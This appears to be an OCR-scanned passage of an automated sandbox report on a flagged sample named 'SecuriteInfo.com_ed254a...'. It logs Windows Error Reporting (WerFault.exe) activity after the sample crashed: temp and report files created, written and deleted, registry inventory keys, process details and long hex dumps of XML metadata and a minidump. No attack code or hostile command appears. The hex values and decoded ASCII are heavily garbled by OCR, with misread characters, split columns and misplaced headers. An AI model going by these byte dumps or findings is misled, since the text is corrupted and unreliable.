C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 102 3c004f00530049 <.0.S.l.n.s.tallT.im.e>. success orwait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 006e 0073007400 2.0.1.9.-.0.6.-.2.7.T.1.4.:.4.

61006c006¢c0054 9..2.1.Z</0.S.lnstal
00 69 00 6d 00 6500 I.T.i.m.e.>.
3e 00 32 00 30 00 31

00 39 00 2d 00 30 00

36 00 2d 00 32 00 37

00 54 00 31 00 34 00

3a 00 34 00 39 00 3a

00 32 00 31 00 5a 00

3c 00 2f 00 4f 00 53

00 49 00 6e 00 73 00

74 00 61 00 6¢ 00 6¢C

00 54 00 69 00 6d 00

65 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 68 3c00540069006d <.T..me.Z.o.n.e.B.i.a.s.>. success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00 65 00 5a 00 6f 00  0.8.:.0.0.

6e 006500420069 <. T..m.e.Z.o.n.e.B.
00610073003e00 ias.>.

30 00 38 00 3a 00 30

00 30 00 3c 00 2f 00

54 00 69 00 6d 00 65

00 5a 00 6f 00 6e 00

65 00 42 00 69 00 61

00 73 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 40 3c002f00530079 <./S.y.s.tem.lnfo.rm.a. success orwait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml 00730074006500 t.i.o.n.>.

6d 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 701B497A unknown
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value

34

46

3c 00 53 00 65 00 63
00 75 00 72 00 65 00
42 00 6f 00 6f 00 74
00 53 00 74 00 61 00
74 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 55 00 45 00 46
00 49 00 53 00 65 00
63 00 75 00 72 00 65
00 42 00 6f 00 6f 00
74 00 45 00 6e 00 61
00 62 00 6¢ 00 65 00
64 00 3e 00 30 00 3c
00 2f 00 55 00 45 00
46 00 49 00 53 00 65
00 63 00 75 00 72 00
65 00 42 00 6f 00 6f
00 74 00 45 00 6e 00
61 00 62 00 6¢ 00 65
00 64 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 53 00 65

00 63 00 75 00 72 00
65 00 42 00 6f 00 6f

00 74 00 53 00 74 00
61 00 74 00 65 00 3e
00

0d 00 0a 00

09 00

3c 00 49 00 6e 00 74
00 65 00 67 00 72 00
61 00 74 00 6f 00 72
00 3e 00

0d 00 0a 00

09 00

3c 00 46 00 6¢ 00 61
00 67 00 73 00 3e 00
30 00 30 00 30 00 30
00 30 00 30 00 30 00
42 00 3c 00 2f 00 46
00 6¢ 00 61 00 67 00
73 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 49 00 6e
00 74 00 65 00 67 00
7200 61 00 74 00 6f
00 72 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 54 00 69 00 6d
00 65 00 6¢ 00 69 00
6e 00 65 00 73 00 20
00 42 00 61 00 73 00
65 00 54 00 69 00 6d
00 65 00 3d 00 22 00
32 003000320031
00 2d 00 30 00 32 00
2d 00 32 00 33 00 54
00 31 00 38 00 3a 00
30 00 32 00 3a 00 34
00 37 00 5a 00 22 00
3e 00

Ascii

<.S.e.c.ure.B.o.0.t.Sta.t.

EE=S

<U.E.F.l.S.e.cur.e.B.o.0.t

.E.n.a.b.l.e.d.>.0.
</.U.E.F.L

S.e.c.ur.e.B.o.o.t.E.n.ab.l

e.d.>.

<./.S.e.c.ur.e.B.o.0.t.Sta.

te>.

<.l.nte.g.r.ato.r>.

<.F.l.a.g.s.>.0.0.0.0.0.0.0.

B.<./F.la.g.s.>.

</lnte.g.rato.r>.

<.P.ro.c.e.s.s.T.i.m.e.li.n.

es.
.B.a.s.e.T.im.e.=.".2.0.

202228 THALE 025

4.7.2.".>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length
4

2

258

Value

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
73 002000410073
00 49 00 64 00 3d 00
22 003300350039
00 22 00 20 00 50 00
49 00 44 00 3d 00 22
00 37 00 31 00 34 00
30 00 22 00 20 00 55
00 70 00 74 00 69 00
6d 00 65 00 4d 00 53
00 3d 00 22 00 36 00
37 003100220020
00 54 00 69 00 6d 00
65 00 53 00 69 00 6e
00 63 00 65 00 43 00
7200 6500 61 00 74
00 69 00 6f 00 6e 00
4d 00 53 00 3d 00 22
00 36 00 37 00 31 00
22002000 53 00 75
00 73 00 70 00 65 00
6e 00 64 00 65 00 64
00 4d 00 53 00 3d 00
22003000 2200 20
00 48 00 61 00 6e 00
67 00 43 00 6f 00 75
00 6e 00 74 00 3d 00
220030002200 20
00 47 00 68 00 6f 00
7300 74 00 43 00 6f
00 75 00 6e 00 74 00
3d 00 22 00 30 00 22
0020 00 43 00 72 00
61 00 73 00 68 00 65
00 64 00 3d 00 22 00
310022

0d 00 0a 00

09 00

3c 00 2f 00 50 00 72
00 6f 00 63 00 65 00
73 00 73 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 50 00 72
00 6f 00 63 00 65 00
73 00 73 00 54 00 69
00 6d 00 65 00 6¢ 00
69 00 6e 00 65 00 73
00 3e 00

0d 00 0a 00

09 00

3c 00 52 00 65 00 70
00 6f 00 72 00 74 00
49 00 6e 00 66 00 6f
00 72 00 6d 00 61 00
74 00 69 00 6f 00 6e
00 3e 00

0d 00 0a 00

09 00

Ascii

<.P.r.o.c.es.s. .As.ld="
3.5.9.". .P.l. '7.1.4.0.".
.U.p.timeM.S.="6.7.1."
.T..m.e.S.i.n.ce.Cre.a.t.

i.o.n.M.S.=".6.7.1.". .S.u.s.
p.e.n.d.e.d.M.
.H.a.n.g.C.o.u.n.
.G.h.o.s.t.C.o.u.n.t.
.Cras.hed=

<./.P.ro.c.e.s.s.>.

<./.P.ro.c.e.s.s.T.i.m.e.li
n.e.s.>.

<.R.e.p.o.rt.l.nform.a.t.
i.o.n.>.

Source

Completion Count Address

success or wait 1 701B497A
success or wait 2 701B497A
success or wait 1 701B497A
success or wait 1 701B497A
success or wait 2 701B497A
success or wait 1 701B497A
success or wait 1 701B497A
success or wait 1 701B497A
success or wait 1 701B497A
success or wait 1 701B497A
success or wait 1 701B497A
success or wait 1 701B497A
success or wait 1 701B497A
success or wait 2 701B497A

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length
98

4

2

98

40

40

Value

3c 00 47 00 75 00 69
00 64 00 3e 00 65 00
33 003700 61 00 62
00 33 00 61 00 64 00
2d 00 35 00 30 00 65
00 35 00 2d 00 34 00
64 00 64 00 38 00 2d
00 61 00 30 00 61 00
63 00 2d 00 62 00 30
00 31 00 65 00 62 00
62 00 32 00 64 00 34
00 36 00 30 00 63 00
3c 00 2f 00 47 00 75
00 69 00 64 00 3e 00

0d 00 0a 00

09 00

3c 0043 00 72 00 65
00 61 00 74 00 69 00
6f 00 6e 00 54 00 69
00 6d 00 65 00 3e 00
32 003000320031
00 2d 00 30 00 32 00
2d 00 32 00 33 00 54
00 31 00 38 00 3a 00
30 00 32 00 3a 00 34
00 37 00 5a 00 3c 00
2f 00 43 00 72 00 65
00 61 00 74 00 69 00
6f 00 6e 00 54 00 69
00 6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 52 00 65
00 70 00 6f 00 72 00
74 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

3c 00 2f 00 57 00 45
00 52 00 52 00 65 00
7000 6f 00 72 00 74
00 4d 00 65 00 74 00
61 00 64 00 61 00 74
00 61 00 3e 00

Source

Ascii Completion Count Address Symbol
<.G.u.i.d.>.e.3.7.a.b.3.a.d.- success or wait 1 701B497A unknown
.5.0.e.5.-.4.d.d.8.-.a.0.a.c.-
.b.0.1.e.b.b.2.d.4.6.0.c.
<./.G.u.i.d.>.
success or wait 1 701B497A unknown
success or wait 2 701B497A unknown
<.C.re.a.ti.o.n.T..m.e.>.2. success or wait 1 701B497A unknown
0.2.1.-.0.2.-.2.3.T.1.8...0.2.
14.7.2</Creatio.n.T.
i.m.e.>.
success or wait 1 701B497A unknown
success or wait 1 701B497A unknown
<./.R.e.p.o.r.tlnfo.rm.a. success or wait 1 701B497A unknown
tio.n.>.
success or wait 1 701B497A unknown
<./W.E.R.R.e.p.o.r.t. M.e.t. success or wait 1 701B497A unknown

a.d.ata.>.
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER9A.tmp.xml

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_Se
curitelnfo.com_ed254a492c4061e
e€93311a4cb68fc7f99a8fd229_bd6d4f40_18fb03b5\Report.wer

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_Se
curitelnfo.com_ed254a492c4061e
€93311a4cb68fc7f99a8fd229_bd6d4f40_18fb03b5\Report.wer

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_Se
curitelnfo.com_ed254a492c4061e
€93311a4cb68fc7f99a8fd229_bd6d4f40_18fb03b5\Report.wer

Registry Activities

Key Created

Key Path

\REGISTRY\A\{b08d75d1-3d76-3056-f4d4-b5435586f6e0}\Root\InventoryApplicationFile\PermissionsCheckTestKey
\REGISTRY\A\{b08d75d1-3d76-3056-f4d4-b5435586f6e0}\Root\InventoryApplicationFile\PermissionsCheckTestKey
\REGISTRY\A\{b08d75d1-3d76-3056-f4d4-b5435586f6e0}\Root\InventoryApplicationFile\PermissionsCheckTestKey

Offset
unknown 4746

unknown 2

unknown 22

unknown 42

Length Value

3c 3f 78 6d 6¢ 20 76

65 72 73 69 6f 6e 3d

22 31 2e 30 22 20 65
6e 63 6f 64 69 6e 67

3d 22 55 54 46 2d 38
222073 74 61 6e 64
61 6¢ 6f 6e 65 3d 22

79 65 73 22 3f 3e 0d

0a 3c 72 6571 20 76
6572 3d 2232 22 3e
0d 0a 20 20 3c 74 6¢
6d 3e 0d 0a 20 20 20
203c 737263 3e 0d
0a 20 20 20 20 20 20
3c 64 65 73 63 3e 0d
0a 20 20 20 20 20 20
2020 3c 6d 61 63 68
3e 0d 0a 20 20 20 20
2020 20 20 20 20 3c
6f 73 3e 0d 0a 20 20

2020 20 20 20 20 20
2020203c 617267
20 6e 6d 3d 22 76 65
72 6d 61 6a 22 20 76
61 6¢ 3d 22 31 30 22
20 2f 3e 0d Oa 20 20
2020 20 20 20 20 20
2020203c 617267
20 6e 6d 3d 22 76 65
72 6d 69 6e 22 20 76
61 6¢ 3d 22 30 22 20
2f 3e 0d Oa 20 20 20
2020 20 20 20 20 20
2020 3c 617267 20
6e 6d 3d 22 76 65 72
62 6¢ 64 22 20 76 61
6c 3d 22

ff fe

56 00 6500 72 00 73
00 69 00 6f 00 6e 00
3d 00 31 00 0d 00 Oa
00

4d 00 65 00 74 00 61
00 64 00 61 00 74 00
61 00 48 00 61 00 73
00 68 00 3d 00 31 00
30 00 37 00 30 00 30
00 38 00 34 00 30 00

Source

Ascii Completion Count Address Symbol

<?xml version="1.0" success or wait 1 701B497A unknown
encoding="UTF-8"
standalone="yes"?>..<req
ver="2">. <tlm>.. <src>

<desc>..
<mach>..
<arg nm="vermaj" val="10"
/>.. <arg
nm="vermin" val="0" />..

<arg nm="verbld" val="

<0s>..

success or wait 1 701B497A unknown

V.ers.i.o.n=1... success or wait 168 701B497A unknown

M.e.ta.d.ata.H.as.h.=1.
0.7.0.0.8.4.0.

success or wait 1 701B497A unknown

Source
Completion Count Address Symbol
success or wait 1 701D36BF unknown
success or wait 1 701D36BF unknown
success or wait 1 701B43D1 unknown

Analysis Process: WerFault.exe PID: 6692 Parent PID: 7140

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Copyright null 2021

10:02:51

23/02/2021

C:\Windows\SysWOW64\WerFault.exe

true

C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 880

0xe40000

434592 bytes
9E2BBACAD48ECCA55C0230D63623661B
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Has elevated privileges: true

Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\DBG read data or list device directory file | object name collision 1 702D1717 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\ProgramData\Microsoft\Windows\WER\Temp\WER13C2.tmp read attributes | device synchronous io  success or wait 1 702C497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WER13C2.tmp.dmp read attributes | device synchronous io  success or wait 1 702C497A unknown
synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1A6B.tmp read attributes | device synchronous io  success or wait 1 702C497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1A6B.tmp.WERInt read attributes | device synchronous io  success or wait 1 702C497A unknown
ernalMetadata.xml synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1D88.tmp read attributes | device synchronous io  success or wait 1 702C497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1D88.tmp.xml| read attributes | device synchronous io  success or wait 1 702C497A unknown
synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Se read data or list device directory file | success or wait 1 702C497A unknown
curitelnfo.com_ed254a492c4061ee93311a4ch68fc7f99a8fd229 bd6d directory | synchronous io
4f40_1a772140 synchronize non alert | open
for backup ident
| open reparse
point
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Se read attributes | device synchronous io  success or wait 1 702C497A unknown
curitelnfo.com_ed254a492c4061ee93311a4ch68fc7f99a8fd229 bd6d synchronize | non alert | non
4f40_1a772140\Report.wer generic write directory file
File Deleted
Source
File Path Completion Count Address Symbol
C:\ProgramData\Microsoft\Windows\WER\Temp\WER13C2.tmp success or wait 1 702C497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1A6B.tmp success or wait 1 702C497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1D88.tmp success or wait 1 702C497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER13C2.tmp.dmp success or wait 1 702C497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml success or wait 1 702C497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1D88.tmp.xml| success or wait 1 702C497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1DCB.tmp.csv success or wait 1 702C497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER208B.tmp.txt success or wait 1 702C497A unknown
File Written
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 32 4d 44 4d 5093 a7 ee  MDMP........ ....... NC5'...... success or wait 1 702C497A unknown
ws\WER\Temp\WER13C2.tmp.dmp a0 0f 00 00 00 20 00
00 00 00 00 00 00 4e
43 35 60 a4 05 12 00
00 00 00 00
C:\ProgramData\Microsoft\Windo unknown 6 000000000000 ... success or wait 1 702C497A unknown

ws\WER\Temp\WER13C2.tmp.dmp
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER13C2.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER13C2.tmp.dmp

Copyright null 2021

Offset Length Value

unknown 1420

unknown 716

00 00 06 00 07 55 04
01 0a 00 00 00 00 00
00 00 ee 42 00 00 02
00 00 00 c4 1e 00 00
00 01 00 00 47 65 6e
75 69 6e 65 49 6e 74

65 6¢ 57 06 0500 fffh .

8b 1f 00 00 00 00 54
05 00 00 7 03 00 00
e4 1b 00 00 30 43 35
60 00 00 00 00 00 00
00 00 93 08 00 00 93
08 00 00 93 08 00 00
01 00 00 00 01 00 00
00 00 30 00 00 32 00
00 00 00 00 00 00 01
00 00 00 e0 01 00 00
50 00 61 00 63 00 69
00 66 00 69 00 63 00
20 00 53 00 74 00 61
00 6e 00 64 00 61 00
72 00 64 00 20 00 54
00 69 00 6d 00 65 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 Ob 00 00 00
01 00 02 00 00 00 00
00 00 00 00 00 00 00
50 00 61 00 63 00 69
00 66 00 69 00 63 00
2000 44 00 61 00 79
00 6¢ 00 69 00 67 00
68 00 74 00 20 00 54
00 69 00 6d 00 65 00
00 00 00 00 00 00 00
00 00

7f 00 01 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
aa aaaa aaaaaaaa
aa aa aa aa aaaaaa
aa aa aaaaaaaaaa
aa aa aaaaaaaaaa
aa aa aa aaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aa aaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aa aa aaaaaaaa
2b 00 00 00 53 00 00
00 2b 00 00 00 2b 00
0000 62 6f 72 74 1c
fb c8 02 00 00 00 00
00 00 40 00 62 6f 72
74 00 00 00 00 28 fb
c802 62 6f 72 74 23
00 00 00 46 02 01 00
Oc fb c8 02 2b 00 00
00 aa aa aa aa aa aa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaa aaaaaaaa
aa aa aa aaaaaaaa
aaaaaa

..... Uioreee B
..GenuinelntelW.

........... 0.2,
P.a.
.T.i.m.e..

.D.a.y.li.g.ht..T.
im.e.....

@.bort....

fic..S.ta.ndard.

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

702C497A unknown

702C497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER13C2.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER13C2.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER13C2.tmp.dmp

Copyright null 2021

Offset Length Value

unknown 168

unknown 20

unknown 256

48 1b 00 00 00 00 00
00 05 00 00 c0 00 00
00 00 00 00 00 00 00
00 00 00 62 6f 72 74
00 00 00 00 02 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 ff ff
ff ff ff ff ff ff 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 cc 02 00 00
96 24 00 00

36 00 00 00 e2 6e 72
74 00 00 00 00 00 01
00 00 26 41 00 00

00 8a 6f 04 00 44 00
61 00 74 00 61 00 00
00 23 00 00 00 06 4b
95 04 00 4e 00 61 00
6d 00 65 00 00 00 05
01 08 00 45 00 6e 00
64 00 70 00 6f 00 69
00 6e 00 74 00 02 0d
01 00 10 04 41 ff ff 3f
00 00 00 8a 6f 04 00
4400 61 00 74 00 61
00 00 00 27 00 00 00
06 4b 95 04 00 4e 00
61 00 6d 00 65 00 00
00 05 01 0a 00 50 00
61 00 63 00 6b 00 65
00 74 00 53 00 69 00
7a 00 65 00 02 0d 02
00 07 04 41 ff ff 39 00
00 00 8a 6f 04 00 44
00 61 00 74 00 61 00
00 00 21 00 00 00 06
4b 95 04 00 4e 00 61
00 6d 00 65 00 00 00
0501 07 00 41 00 64
00 64 00 72 00 65 00
7300 73 00 02 0d 03
00 Oe 04 41 ff ff 33 00
00 00 8a 6f 04 00 44
00 61 00 74 00 61 00
00 00 1b 00 00 00 06
4b 95 04 00 4e 00 61
00 6d 00 65 00 00 00
05 01 04 00 50 00 6f
00 72 00 74 00 02 0d
04 00 06 04 41 ff ff

Ascii

Heooiiie bort..

..o.Data.#..K.Nam.

e.....E.nd.p.oi.nt.....
A.?..o.Data.. .. .K..

N.a.m.e......P.a.ck.e.tS.i.

ze....A.9...o0.Data.

JKi.Name..Ad.d.

res.s.....A.3...o.D.at

K..N.a.m.e....... P.

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

1

54

53

702C497A unknown

702C497A unknown

702C497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER13C2.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER13C2.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER13C2.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER13C2.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER13C2.tmp.dmp

Copyright null 2021

Offset Length Value

unknown 572

unknown 4

unknown 716

unknown 48

unknown 4

bc bl e5 77 d6 c9 e3
77 ac 00 00 00 aa aa
aa aa 10 00 00 00 58

fee30024ffe300aa ...

aaaaaa40c7e377
40 c7 e3 77 aa aa aa
aa 00 00 2c 00 00 00
2c 00 00 00 00 00 ac
00 00 00 aa aa aa aa
ac 00 00 00 aa aa aa
aa 00 00 2c 00 00 00
00 00 00 00 00 00 00
00 00 00 aa aa aa aa
aa aa aa aa 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 aa aa aa aa 00 00
00 00 00 00 00 00 00
00 00 00 30 1b ba 00
00 00 00 00 00 00 00
00 fO 6b b4 00 00 70
2b 00 10 00 00 00 aa
aa aa aa 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 aa aa
aa aa 00 00 00 00 aa
aa aaaaaaaaaaaa
90 fe 6d 02 90 fe d3
00 98 fe 6d 02 98 fe
d3 00 00 00 00 00 aa
aa aa aa aaaaaaaa
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00

08 00 00 00

3f 00 01 00 00 00 00

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
aa aaaa aaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aaaaaaaaaa
aa aaaa aaaaaaaa
aa aa aa aa aaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
2b 00 00 00 53 00 00
00 2b 00 00 00 2b 00
00 00 58 03 00 00 00
00 00 00 b8 51 be 00
00 00 00 00 00 00 00
00 00 00 00 00 a4 do
1900 2c 95 e5 77 23
00 00 00 02 02 00 00
34 d0 19 00 2b 00 00
00 aa aa aa aa aa aa
